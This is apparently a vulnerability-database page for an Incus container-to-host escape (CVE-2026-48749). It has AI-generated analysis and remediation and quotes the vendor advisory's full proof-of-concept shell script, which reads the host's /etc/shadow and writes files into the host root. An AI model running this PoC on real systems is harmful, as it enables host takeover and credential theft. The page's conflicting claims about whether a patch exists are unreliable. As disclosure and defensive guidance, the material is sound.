Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain Incus account with image-import rights
-
DeliveryCraft image with duplicate rootfs symlink to /
-
ExploitImport image and init instance
-
ExecutionInvoke incus file pull/push on stopped container
-
Persistforkfile chroots into host root
-
ImpactRead/write host files as root, escalate to command execution
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V5 - File Handling File name/path control
|
| Exploitation Conditions | The attacker must have authenticated Incus access with permission to import an image and initialize/create an instance (CVSS PR:L), and must supply a maliciously crafted image tarball containing a standard metadata.yaml and rootfs/ directory plus an injected duplicate top-level 'rootfs' symlink pointing at the desired host path (e.g. rootfs -> /). Exploitation runs through the stopped-container file API ('incus file pull'/'incus file push'), so the attacker needs the ability to invoke those file operations on the instance. Limiting factors: it does not work against default trusted-only deployments where untrusted users cannot import images or create instances, requires the affected version (< 7.2.0), and depends on the victim accepting/processing an attacker-controlled image rather than triggering automatically. |
| Impact | Signals are largely consistent and point to a genuine high priority for environments running Incus. The CVSS 3.1 base score is 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H): network-reachable API, low complexity, only low privileges required, no user interaction, a scope change (container to host), and full confidentiality/integrity/availability impact. The PR:L is the key limiter - the attacker must already hold an Incus account/permission allowing image import and instance creation, so this is privilege escalation/escape rather than a fully unauthenticated takeover. A functional PoC is published, which raises practical exploitability, though no EPSS score, SSVC decision, or KEV listing was provided in the input, so widespread automated exploitation cannot be asserted. Net: a real, patch-now issue for multi-tenant or shared Incus deployments, and lower urgency where only fully trusted operators can reach the daemon. |
| Exploit ScenarioDerived | A user with limited Incus permissions on a shared/multi-tenant host crafts an image tarball containing a normal metadata.yaml plus a second top-level 'rootfs' entry that is a symlink to '/', imports it, and creates an instance from it. Using 'incus file pull' the attacker reads the host's /etc/shadow, and with 'incus file push' writes arbitrary files into the host root filesystem - potentially escalating to root command execution. A complete working PoC accompanies the published advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 26, 2026
Container-to-host filesystem escape in Incus before 7.2.0 lets a user who can import images and create instances read and write arbitrary files on the host as root. A malicious image carrying a duplicate top-level 'rootfs' symlink (rootfs -> /) passes image validation, and the stopped-container file API later chroots into that symlinked path via forkfile, exposing the host root filesystem through 'incus file pull/push'. A working proof-of-concept is published in the GitHub Security Advisory (GHSA-2q3f-q5pq-g8wv); publicly available exploit code exists, but there is no public exploit identified beyond the PoC and the CVE is not in CISA KEV.
RemediationAI
Vendor-released patch: 7.2.0 - upgrade Incus to 7.2.0 or later, which corrects the image validation/extraction so a duplicate top-level 'rootfs' symlink is no longer trusted; see the advisory at https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv. Until you can upgrade, restrict who can import images and create instances: only allow image imports from trusted sources and avoid importing untrusted/third-party image tarballs (the attack requires a crafted image), and tighten Incus project/RBAC permissions so untrusted or low-trust accounts cannot run 'incus image import' or 'incus init' (trade-off: this reduces self-service capability for legitimate users). Where feasible, avoid using 'incus file pull/push' against instances built from untrusted images, since that API path is what triggers the chroot into the symlink. These are compensating controls only; none fully closes the symlink-handling flaw, so patching to 7.2.0 is the real fix.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 5 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Incus is a system container and virtual machine manager (a community fork of LXD) written in Go; the affected code lives in the incusd daemon (pkg:go/github.com/lxc/incus/v7/cmd/incusd). The flaw is a path/symlink handling weakness classed as CWE-73 (External Control of File Name or Path). Incus considers an image valid as soon as it observes a standard 'metadata.yaml' plus a 'rootfs/' directory entry, but full tar extraction subsequently processes a second, duplicate top-level 'rootfs' entry that is a symlink to an attacker-chosen path (e.g. '/'). When the stopped-container file API opens d.RootfsPath() and hands that file descriptor to the forkfile helper, forkfile chroots into the symlink target, so file operations intended for the container's rootfs instead operate on the host filesystem with root privileges.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Daemon API is network-reachable (AV:N) and the attack is reliable (AC:L) but needs an account able to import images/create instances (PR:L); container-to-host escape is a scope change (S:C) with full host C/I/A impact.
Primary rating from Vendor (https://github.com/lxc/incus).
CVSS VectorVendor: https://github.com/lxc/incus
DescriptionCVE.org
Summary
A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.
Details
Incus validates an image as soon as it sees a normal metadata.yaml and a rootfs/ entry, but full extraction can later process a duplicate top-level rootfs symlink. Later, the stopped-container file API opens d.RootfsPath() and passes that file descriptor to forkfile, which chroots to it.
metadata.yaml
rootfs/
rootfs -> /In practice, this allows a malicious actor to access the host's filesystem with root privileges.
PoC
Below, we map the container's rootfs to / on the host, but it can be mapped anywhere. We then retrieve the host's /etc/shadow file and create a file in /.
#!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: PoC rootfs symlink host afrw
__EOF__
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar
# inject rootfs symlink
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs
incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink
# read
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"
# write
printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/Impact
Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.
Executive ViewAI
Incus container management systems contain a critical vulnerability (CVE-2026-48749) that allows users with image import and instance creation permissions to escape container isolation and gain unauthorized root-level access to the host filesystem. An attacker can craft a malicious container image with a symlink that bypasses validation, enabling them to read and modify any file on the host system. Organizations relying on Incus for workload isolation or multi-tenant container deployments face immediate risk of complete system compromise and data exfiltration.
No vendor-released patch identified at time of analysis. Interim mitigations: Restrict image import permissions to single, highly audited administrator account; disable instance creation if operationally feasible; implement network segmentation to isolate Incus from critical production systems; deploy file integrity monitoring on host filesystems; enable enhanced audit logging with alerting for image import events; monitor host logs for container escape indicators; establish incident response procedures for potential exploitation.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
EUVD-2026-63976
GHSA-2q3f-q5pq-g8wv
NVD
CVE.org
EPSS
VulDB
Exploit-DB